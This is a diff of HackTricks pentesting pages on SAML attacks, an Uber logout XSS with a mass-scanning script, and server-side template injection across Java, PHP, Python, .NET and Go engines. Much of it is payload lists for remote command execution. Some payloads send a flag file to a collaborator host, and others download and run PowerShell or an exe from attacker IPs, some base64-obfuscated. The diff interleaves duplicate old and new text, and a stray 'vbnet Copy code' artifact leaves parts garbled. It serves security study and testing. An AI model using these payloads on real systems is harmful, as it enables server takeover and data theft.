The attack is relatively simple if the conditions are true. We **authenticate** to **SP-Legit** via the shared Identity Provider. We then **intercept the SAML Response on its way from the IdP to SP-Legit**. Once intercepted, we send the **SAML Response that was intended for SP-Legit to SP-Target instead.** If **SP-Target accepts the Assertion**; we’ll find ourselves logged in with the same account name as we have for SP-Legit and get access to SP-Target’s corresponding resources.
|
||||
```python
|
||||
# Example to simulate interception and redirection of SAML Response
|
||||
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
|
||||
"""
|
||||
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
|
||||
|
||||
Args:
|
||||
- saml_response: The SAML Response intercepted (in string format).
|
||||
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
|
||||
|
||||
Returns:
|
||||
- status: Success or failure message.
|
||||
"""
|
||||
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
|
||||
try:
|
||||
# Code to send the SAML Response to SP-Target would go here
|
||||
return "SAML Response successfully redirected to SP-Target."
|
||||
except Exception as e:
|
||||
return f"Failed to redirect SAML Response: {e}"
|
||||
```
|
||||
|
||||
## XSS in Logout functionality
|
||||
|
||||
(Access the [original research here](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/))
|
||||
The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).
|
||||
|
||||
After performing the directory brute forcing I found the following page:
|
||||
During the process of directory brute forcing, a logout page was discovered at:
|
||||
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com:443/oidauth/logout
|
||||
```
|
||||
|
||||
It's a logout page, I opened the above link and it did redirect me to the following page
|
||||
Upon accessing this link, a redirection occurred to:
|
||||
|
||||
```
|
||||
https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
|
||||
```
|
||||
|
||||
The base parameter is taking a URL so how about replacing that with the old classic `javascript:alert(123);` to trigger an XSS.
|
||||
This revealed that the `base` parameter accepts a URL. Considering this, the idea emerged to substitute the URL with `javascript:alert(123);` in an attempt to initiate an XSS (Cross-Site Scripting) attack.
|
||||
|
||||
|
||||
### Mass Exploitation
|
||||
|
||||
Using [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) that can take a list of URLs and then give you back the callback (SAML consume) URL, I decided to feed the tool with all subdomains of `uberinternal.com` to see if there are other domains that use the same library and there was.
|
||||
[From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):
|
||||
|
||||
What I did next was to create a script that calls the vulnerable page `oidauth/prompt` and try the XSS and if my input is reflected it gives me a nice vulnerable message.
|
||||
The [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) tool was used to analyze subdomains of `uberinternal.com` for domains utilizing the same library. Subsequently, a script was developed to target the `oidauth/prompt` page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it's reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
|
||||
|
||||
```python
|
||||
import requests
|
||||
|
@ -307,9 +303,10 @@ with open("/home/fady/uberSAMLOIDAUTH") as urlList:
|
|||
```
|
||||
|
||||
## References
|
||||
|
||||
The attacks were obtained from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
|
||||
You can find additional resources and write-ups in [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/)\
|
||||
* [https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/)
|
||||
* [https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -17,18 +17,16 @@ Other ways to support HackTricks:
|
|||
|
||||
# SAML Overview
|
||||
|
||||
**Security Assertion Markup Language (SAML)** is an open standard enabling identity providers (IdP) to send authorization credentials to service providers (SP). Essentially, it allows for single sign-on (SSO), permitting the use of one set of credentials across multiple websites. This simplifies the management of multiple logins, such as for email, CRM software, or Active Directory. SAML uses XML to facilitate standardized communication between the IdP and SPs, linking user identity authentication with service authorization.
|
||||
**Security Assertion Markup Language (SAML)** enables identity providers (IdP) to be utilized for sending authorization credentials to service providers (SP), facilitating single sign-on (SSO). This approach simplifies the management of multiple logins by allowing a single set of credentials to be used across multiple websites. It leverages XML for standardized communication between IdPs and SPs, linking the authentication of user identity with service authorization.
|
||||
|
||||
# SAML and OAuth Comparison
|
||||
## Comparison between SAML and OAuth
|
||||
|
||||
While both **SAML** and **OAuth** offer streamlined internet logins, they have their distinctions:
|
||||
|
||||
- **SAML** offers more control to enterprises, enhancing the security of SSO logins.
|
||||
- **OAuth** is more mobile-friendly, utilizes JSON, and was co-developed by Google and Twitter.
|
||||
- **SAML** is tailored towards providing enterprises with greater control over SSO login security.
|
||||
- **OAuth** is designed to be more mobile-friendly, uses JSON, and is a collaborative effort from companies like Google and Twitter.
|
||||
|
||||
# SAML Authentication Flow
|
||||
|
||||
For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/). This is a summary:
|
||||
**For further details check the full post from [https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/](https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/)**. This is a summary:
|
||||
|
||||
The SAML authentication process involves several steps, as illustrated in the schema:
|
||||
|
||||
|
|
|
@ -20,99 +20,39 @@ Other ways to support HackTricks:
|
|||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## What is server-side template injection?
|
||||
## What is SSTI (Server-Side Template Injection)
|
||||
|
||||
A server-side template injection occurs when an attacker is able to use native template syntax to inject a malicious payload into a template, which is then executed server-side.
|
||||
Server-side template injection is a vulnerability that occurs when an attacker can inject malicious code into a template that is executed on the server. This vulnerability can be found in various technologies, including Jinja.
|
||||
|
||||
**Template engines** are designed to **generate web** pages by **combining** **fixed** templates with **volatile** data. Server-side template injection attacks can occur when **user input** is concatenated directly **into a template**, rather than passed in as data. This allows attackers to **inject arbitrary template directives** in order to manipulate the template engine, often enabling them to take **complete control of the server**.
|
||||
Jinja is a popular template engine used in web applications. Let's consider an example that demonstrates a vulnerable code snippet using Jinja:
|
||||
|
||||
An example of vulnerable code see the following one:
|
||||
|
||||
```php
|
||||
$output = $twig->render("Dear " . $_GET['name']);
|
||||
```python
|
||||
output = template.render(name=request.args.get('name'))
|
||||
```
|
||||
|
||||
In the previous example **part of the template** itself is being **dynamically generated** using the `GET` parameter `name`. As template syntax is evaluated server-side, this potentially allows an attacker to place a server-side template injection payload inside the `name` parameter as follows:
|
||||
In this vulnerable code, the `name` parameter from the user's request is directly passed into the template using the `render` function. This can potentially allow an attacker to inject malicious code into the `name` parameter, leading to server-side template injection.
|
||||
|
||||
For instance, an attacker could craft a request with a payload like this:
|
||||
|
||||
```
|
||||
http://vulnerable-website.com/?name={{bad-stuff-here}}
|
||||
```
|
||||
|
||||
## Constructing a server-side template injection attack
|
||||
The payload `{{bad-stuff-here}}` is injected into the `name` parameter. This payload can contain Jinja template directives that enable the attacker to execute unauthorized code or manipulate the template engine, potentially gaining control over the server.
|
||||
|
||||
![](../../.gitbook/assets/ssti-methodology-diagram.png)
|
||||
To prevent server-side template injection vulnerabilities, developers should ensure that user input is properly sanitized and validated before being inserted into templates. Implementing input validation and using context-aware escaping techniques can help mitigate the risk of this vulnerability.
|
||||
|
||||
### Detect
|
||||
### Detection
|
||||
To detect Server-Side Template Injection (SSTI), initially, **fuzzing the template** is a straightforward approach. This involves injecting a sequence of special characters (**`${{<%[%'"}}%\`**) into the template and analyzing the differences in the server's response to regular data versus this special payload. Vulnerability indicators include:
|
||||
- Thrown errors, revealing the vulnerability and potentially the template engine.
|
||||
- Absence of the payload in the reflection, or parts of it missing, implying the server processes it differently than regular data.
|
||||
|
||||
As with any vulnerability, the first step towards exploitation is being able to find it. Perhaps the simplest initial approach is to try **fuzzing the template** by injecting a sequence of special characters commonly used in template expressions, such as the polyglot **`${{<%[%'"}}%\`.**\
|
||||
In order to check if the server is vulnerable you should **spot the differences** between the response with **regular data** on the parameter and the **given payload**.\
|
||||
If an **error is thrown** it will be quiet easy to figure out that **the server is vulnerable** and even which **engine is running**. But you could also find a vulnerable server if you were **expecting** it to **reflect** the given payload and it is **not being reflected** or if there are some **missing chars** in the response.
|
||||
- **Plaintext Context**: Distinguish from XSS by checking if the server evaluates template expressions (e.g., `{{7*7}}`, `${7*7}`).
|
||||
|
||||
**Detect - Plaintext context**
|
||||
- **Code Context**: Confirm vulnerability by altering input parameters. For instance, changing `greeting` in `http://vulnerable-website.com/?greeting=data.username` to see if the server's output is dynamic or fixed, like in `greeting=data.username}}hello` returning the username.
|
||||
|
||||
The given input is being **rendered and reflected** into the response. This is easily **mistaken for a simple** [**XSS**](../xss-cross-site-scripting/) vulnerability, but it's easy to differentiate if you try to set **mathematical operations** within a template expression:
|
||||
|
||||
```
|
||||
{{7*7}}
|
||||
${7*7}
|
||||
<%= 7*7 %>
|
||||
${{7*7}}
|
||||
#{7*7}
|
||||
*{7*7}
|
||||
```
|
||||
|
||||
**Detect - Code context**
|
||||
|
||||
In these cases the **user input** is being placed **within** a **template expression**:
|
||||
|
||||
```python
|
||||
engine.render("Hello {{"+greeting+"}}", data)
|
||||
```
|
||||
|
||||
The URL access that page could be similar to: `http://vulnerable-website.com/?greeting=data.username`
|
||||
|
||||
If you **change** the **`greeting`** parameter for a **different value** the **response won't contain the username**, but if you access something like: `http://vulnerable-website.com/?greeting=data.username}}hello` then, **the response will contain the username** (if the closing template expression chars were **`}}`**).\
|
||||
If an **error** is thrown during these test, it will be easier to find that the server is vulnerable.
|
||||
|
||||
### Identify
|
||||
|
||||
Once you have detected the template injection potential, the next step is to identify the template engine.\
|
||||
Although there are a huge number of templating languages, many of them use very similar syntax that is specifically chosen not to clash with HTML characters.
|
||||
|
||||
If you are lucky the server will be **printing the errors** and you will be able to find the **engine** used **inside** the errors. Some possible payloads that may cause errors:
|
||||
|
||||
| `${}` | `{{}}` | `<%= %>` |
|
||||
| ----------- | ------------ | --------------- |
|
||||
| `${7/0}` | `{{7/0}}` | `<%= 7/0 %>` |
|
||||
| `${foobar}` | `{{foobar}}` | `<%= foobar %>` |
|
||||
| `${7*7}` | `{{7*7}}` | \`\` |
|
||||
|
||||
Otherwise, you'll need to manually **test different language-specific payloads** and study how they are interpreted by the template engine. A common way of doing this is to inject arbitrary mathematical operations using syntax from different template engines. You can then observe whether they are successfully evaluated. To help with this process, you can use a decision tree similar to the following:
|
||||
|
||||
![](<../../.gitbook/assets/image (272).png>)
|
||||
|
||||
### Exploit
|
||||
|
||||
**Read**
|
||||
|
||||
The first step after finding template injection and identifying the template engine is to read the documentation. Key areas of interest are:
|
||||
|
||||
* 'For Template Authors' sections covering basic syntax.
|
||||
* 'Security Considerations' - chances are whoever developed the app you're testing didn't read this, and it may contain some useful hints.
|
||||
* Lists of builtin methods, functions, filters, and variables.
|
||||
* Lists of extensions/plugins - some may be enabled by default.
|
||||
|
||||
**Explore**
|
||||
|
||||
Assuming no exploits have presented themselves, the next step is to **explore the environment** to find out exactly what **you have access to**. You can expect to find both **default objects** provided by the template engine, and **application-specific objects** passed in to the template by the developer. Many template systems expose a 'self' or namespace object containing everything in scope, and an idiomatic way to list an object's attributes and methods.
|
||||
|
||||
If there's no builtin self object you're going to have to bruteforce variable names using [SecLists](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) and Burp Intruder's wordlist collection.
|
||||
|
||||
Developer-supplied objects are particularly likely to contain sensitive information, and may vary between different templates within an application, so this process should ideally be applied to every distinct template individually.
|
||||
|
||||
**Attack**
|
||||
|
||||
At this point you should have a **firm idea of the attack surface available** to you and be able to proceed with traditional security audit techniques, reviewing each function for exploitable vulnerabilities. It's important to approach this in the context of the wider application - some functions can be used to exploit application-specific features. The examples to follow will use template injection to trigger arbitrary object creation, arbitrary file read/write, remote file include, information disclosure and privilege escalation vulnerabilities.
|
||||
#### Identification Phase
|
||||
Identifying the template engine involves analyzing error messages or manually testing various language-specific payloads. Common payloads causing errors include `${7/0}`, `{{7/0}}`, and `<%= 7/0 %>`. Observing the server's response to mathematical operations helps pinpoint the specific template engine.
|
||||
|
||||
## Tools
|
||||
|
||||
|
@ -152,6 +92,7 @@ an interactive table containing the most efficient template injection polyglots
|
|||
In this **wordlist** you can find **variables defined** in the environments of some of the engines mentioned below:
|
||||
|
||||
* [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt)
|
||||
* [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt)
|
||||
|
||||
### Java
|
||||
|
||||
|
@ -163,6 +104,7 @@ ${{7*7}}
|
|||
${class.getClassLoader()}
|
||||
${class.getResource("").getPath()}
|
||||
${class.getResource("../../../../../index.htm").getContent()}
|
||||
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.
|
||||
```
|
||||
|
||||
**Java - Retrieve the system’s environment variables**
|
||||
|
@ -232,29 +174,41 @@ $str.valueOf($chr.toChars($out.read()))
|
|||
* In Velocity section of [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity)
|
||||
|
||||
### Thymeleaf (Java)
|
||||
### Thymeleaf
|
||||
|
||||
The typical test expression for SSTI is `${7*7}`. This expression works in Thymeleaf, too. If you want to achieve remote code execution, you can use one of the following test expressions:
|
||||
In Thymeleaf, a common test for SSTI vulnerabilities is the expression `${7*7}`, which also applies to this template engine. For potential remote code execution, expressions like the following can be used:
|
||||
|
||||
* SpringEL: `${T(java.lang.Runtime).getRuntime().exec('calc')}`
|
||||
* OGNL: `${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}`
|
||||
- SpringEL:
|
||||
```java
|
||||
${T(java.lang.Runtime).getRuntime().exec('calc')}
|
||||
```
|
||||
- OGNL:
|
||||
```java
|
||||
${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}
|
||||
```
|
||||
|
||||
However, as we mentioned before, expressions only work in special Thymeleaf attributes. If it’s necessary to use an expression in a different location in the template, Thymeleaf supports _expression inlining_. To use this feature, you must put an expression within `[[...]]` or `[(...)]` (select one or the other depending on whether you need to escape special symbols). Therefore, a simple SSTI detection payload for Thymeleaf would be `[[${7*7}]]`.
|
||||
Thymeleaf requires these expressions to be placed within specific attributes. However, _expression inlining_ is supported for other template locations, using syntax like `[[...]]` or `[(...)]`. Thus, a simple SSTI test payload might look like `[[${7*7}]]`.
|
||||
|
||||
Chances that the above detection payload would work are, however, very low. SSTI vulnerabilities usually happen when a template is dynamically generated in the code. Thymeleaf, by default, doesn’t allow such dynamically generated templates and all templates must be created earlier. Therefore, if a developer wants to create a template from a string _on the fly_, they would need to create their own TemplateResolver. This is possible but happens very rarely.
|
||||
However, the likelihood of this payload working is generally low. Thymeleaf's default configuration doesn't support dynamic template generation; templates must be predefined. Developers would need to implement their own `TemplateResolver` to create templates from strings on-the-fly, which is uncommon.
|
||||
|
||||
If we take a deeper look into the documentation of the Thymeleaf template engine, we will find an interesting feature called _**expression preprocessing**_. Expressions placed between double underscores (`__...__`) are preprocessed and the result of the preprocessing is used as part of the expression during regular processing. Here is an official example from Thymeleaf documentation:
|
||||
Thymeleaf also offers _expression preprocessing_, where expressions within double underscores (`__...__`) are preprocessed. This feature can be utilized in the construction of expressions, as demonstrated in Thymeleaf's documentation:
|
||||
|
||||
```java
|
||||
#{selection.__${sel.code}__}
|
||||
```
|
||||
|
||||
**Vulnerable example**
|
||||
**Example of Vulnerability in Thymeleaf**
|
||||
|
||||
```markup
|
||||
Consider the following code snippet, which could be susceptible to exploitation:
|
||||
|
||||
```xml
|
||||
<a th:href="@{__${path}__}" th:title="${title}">
|
||||
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>
|
||||
```
|
||||
|
||||
This indicates that if the template engine processes these inputs improperly, it might lead to remote code execution accessing URLs like:
|
||||
|
||||
```
|
||||
http://localhost:8082/(7*7)
|
||||
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})
|
||||
```
|
||||
|
@ -349,9 +303,6 @@ New version of Pebble :
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% set bytes = (1).TYPE
|
||||
.forName('java.lang.Runtime')
|
||||
.methods[6]
|
||||
|
@ -422,10 +373,6 @@ Search for "com.hubspot.content.hubl.context.TemplateContextRequest" and discove
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{% raw %}
|
||||
{% %} and {{ }} blocks
|
||||
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}
|
||||
|
@ -463,7 +410,12 @@ Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstanc
|
|||
* `${{7*7}}` - 49
|
||||
* `${{request}}, ${{session}}, {{faceContext}}`
|
||||
|
||||
EL provides an important mechanism for enabling the presentation layer (web pages) to communicate with the application logic (managed beans). The EL is used by **several JavaEE technologies**, such as JavaServer Faces technology, JavaServer Pages (JSP) technology, and Contexts and Dependency Injection for Java EE (CDI).\
|
||||
Expression Language (EL) is a fundamental feature that facilitates interaction between the presentation layer (like web pages) and the application logic (like managed beans) in JavaEE. It's used extensively across multiple JavaEE technologies to streamline this communication. The key JavaEE technologies utilizing EL include:
|
||||
|
||||
- **JavaServer Faces (JSF)**: Employs EL to bind components in JSF pages to the corresponding backend data and actions.
|
||||
- **JavaServer Pages (JSP)**: EL is used in JSP for accessing and manipulating data within JSP pages, making it easier to connect page elements to the application data.
|
||||
- **Contexts and Dependency Injection for Java EE (CDI)**: EL integrates with CDI to allow seamless interaction between the web layer and managed beans, ensuring a more coherent application structure.
|
||||
|
||||
Check the following page to learn more about the **exploitation of EL interpreters**:
|
||||
|
||||
{% content-ref url="el-expression-language.md" %}
|
||||
|
@ -499,6 +451,7 @@ this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc
|
|||
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))
|
||||
```
|
||||
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.
|
||||
|
@ -507,6 +460,7 @@ this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 1
|
|||
|
||||
##
|
||||
|
||||
|
||||
### Smarty (PHP)
|
||||
|
||||
```php
|
||||
|
@ -575,9 +529,9 @@ $output = $twig > render (
|
|||
|
||||
### Plates (PHP)
|
||||
|
||||
Plates is inspired by Twig but a native PHP template engine instead of a compiled template engine.
|
||||
Plates is a templating engine native to PHP, drawing inspiration from Twig. However, unlike Twig, which introduces a new syntax, Plates leverages native PHP code in templates, making it intuitive for PHP developers.
|
||||
|
||||
controller:
|
||||
Controller:
|
||||
|
||||
```php
|
||||
// Create new Plates instance
|
||||
|
@ -587,7 +541,7 @@ $templates = new League\Plates\Engine('/path/to/templates');
|
|||
echo $templates->render('profile', ['name' => 'Jonathan']);
|
||||
```
|
||||
|
||||
page template:
|
||||
Page template:
|
||||
|
||||
```php
|
||||
<?php $this->layout('template', ['title' => 'User Profile']) ?>
|
||||
|
@ -596,7 +550,7 @@ page template:
|
|||
<p>Hello, <?=$this->e($name)?></p>
|
||||
```
|
||||
|
||||
layout template:
|
||||
Layout template:
|
||||
|
||||
```html
|
||||
<html>
|
||||
|
@ -609,6 +563,9 @@ layout template:
|
|||
</html>
|
||||
```
|
||||
|
||||
**More information**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates)
|
||||
|
||||
### PHPlib and HTML\_Template\_PHPLIB (PHP)
|
||||
|
||||
[HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) is the same as PHPlib but ported to Pear.
|
||||
|
@ -671,6 +628,9 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
?>
|
||||
```
|
||||
|
||||
**More information**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib)
|
||||
|
||||
### Jade (NodeJS)
|
||||
|
||||
```javascript
|
||||
|
@ -705,6 +665,9 @@ echo $t->finish($t->parse('OUT', 'authors'));
|
|||
</patTemplate:tmpl>
|
||||
```
|
||||
|
||||
**More information**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate)
|
||||
|
||||
### Handlebars (NodeJS)
|
||||
|
||||
Path Traversal (more info [here](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
|
||||
|
@ -866,15 +829,12 @@ Check out the following page to learn tricks about **arbitrary command execution
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{{os.system('whoami')}}
|
||||
{{os.system('whoami')}}
|
||||
```
|
||||
|
||||
**More information**
|
||||
* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)
|
||||
|
||||
### Jinja2 (Python)
|
||||
|
||||
|
@ -900,9 +860,6 @@ Check out the following page to learn tricks about **arbitrary command execution
|
|||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
{{settings.SECRET_KEY}}
|
||||
{{4*4}}[[5*5]]
|
||||
{{7*'7'}} would result in 7777777
|
||||
|
@ -944,6 +901,8 @@ Check out the following page to learn tricks about **arbitrary command execution
|
|||
[jinja2-ssti.md](jinja2-ssti.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Other payloads in [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)
|
||||
|
||||
### Mako (Python)
|
||||
|
||||
```python
|
||||
|
@ -954,6 +913,9 @@ x=os.popen('id').read()
|
|||
${x}
|
||||
```
|
||||
|
||||
**More information**
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)
|
||||
|
||||
### Razor (.Net)
|
||||
|
||||
* `@(2+2) <= Success`
|
||||
|
@ -967,7 +929,7 @@ ${x}
|
|||
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
|
||||
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
|
||||
|
||||
The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
The .NET `System.Diagnostics.Process.Start` method can be used to start any process on the server and thus create a webshell. You can find a vulnerable webapp example in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
|
||||
|
||||
**More information**
|
||||
|
||||
|
@ -981,7 +943,7 @@ ${x}
|
|||
* `<%= foo %>` = Nothing
|
||||
* `<%= response.write(date()) %>` = \<Date>
|
||||
|
||||
```bash
|
||||
```xml
|
||||
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
|
||||
```
|
||||
|
||||
|
@ -1003,26 +965,25 @@ Even if it's perl it uses tags like ERB in Ruby.
|
|||
|
||||
### SSTI in GO
|
||||
|
||||
The way to confirm that the template engine used in the backed is Go you can use these payloads:
|
||||
In Go's template engine, confirmation of its usage can be done with specific payloads:
|
||||
|
||||
* `{{ . }}` = data struct being passed as input to the template
|
||||
* If the passed data is an object that contains the attribute Password for example, the previous payload would leak it, but you could also do: `{{ .Password }}`
|
||||
* `{{printf "%s" "ssti" }}` = should output the string ssti in the response
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}` = These are a few other payloads which should output the string "ssti" without the trailing words "js" or "html". You can refer to more keywords in the engine [here](https://golang.org/pkg/text/template).
|
||||
* `{{ . }}`: Reveals the data structure input. For instance, if an object with a `Password` attribute is passed, `{{ .Password }}` could expose it.
|
||||
* `{{printf "%s" "ssti" }}`: Expected to display the string "ssti".
|
||||
* `{{html "ssti"}}`, `{{js "ssti"}}`: These payloads should return "ssti" without appending "html" or "js". Further directives can be explored in the Go documentation [here](https://golang.org/pkg/text/template).
|
||||
|
||||
**XSS exploitation**
|
||||
**XSS Exploitation**
|
||||
|
||||
If the server is **using the text/template** package, XSS is very easy to achieve by **simply** providing your **payload** as input. However, that is **not the case with html/template** as itHTMLencodes the response: `{{"<script>alert(1)</script>"}}` --> `<script>alert(1)</script>`
|
||||
With the `text/template` package, XSS can be straightforward by inserting the payload directly. Contrastingly, the `html/template` package encodes the response to prevent this (e.g., `{{"<script>alert(1)</script>"}}` results in `<script>alert(1)</script>`). Nonetheless, template definition and invocation in Go can bypass this encoding:
|
||||
{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}
|
||||
|
||||
However, Go allows to **DEFINE** a whole **template** and then **later call it**. The payload will be something like:\
|
||||
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
|
||||
vbnet
|
||||
Copy code
|
||||
|
||||
**RCE Exploitation**
|
||||
|
||||
The documentation for both the html/template module can be found [here](https://golang.org/pkg/html/template/), and the documentation for the text/template module can be found [here](https://golang.org/pkg/text/template/), and yes, they do vary, a lot. For example, in **text/templat**e, you can **directly call any public function with the “call” value**, this however, is not the case with html/template.
|
||||
RCE exploitation differs significantly between `html/template` and `text/template`. The `text/template` module allows calling any public function directly (using the “call” value), which is not permitted in `html/template`. Documentation for these modules is available [here for html/template](https://golang.org/pkg/html/template/) and [here for text/template](https://golang.org/pkg/text/template/).
|
||||
|
||||
If you want to find a RCE in go via SSTI, you should know that as you can access the given object to the template with `{{ . }}`, you can also **call the objects methods**. So, imagine that the **passed object has a method called System** that executes the given command, you could abuse it with: `{{ .System "ls" }}`\
|
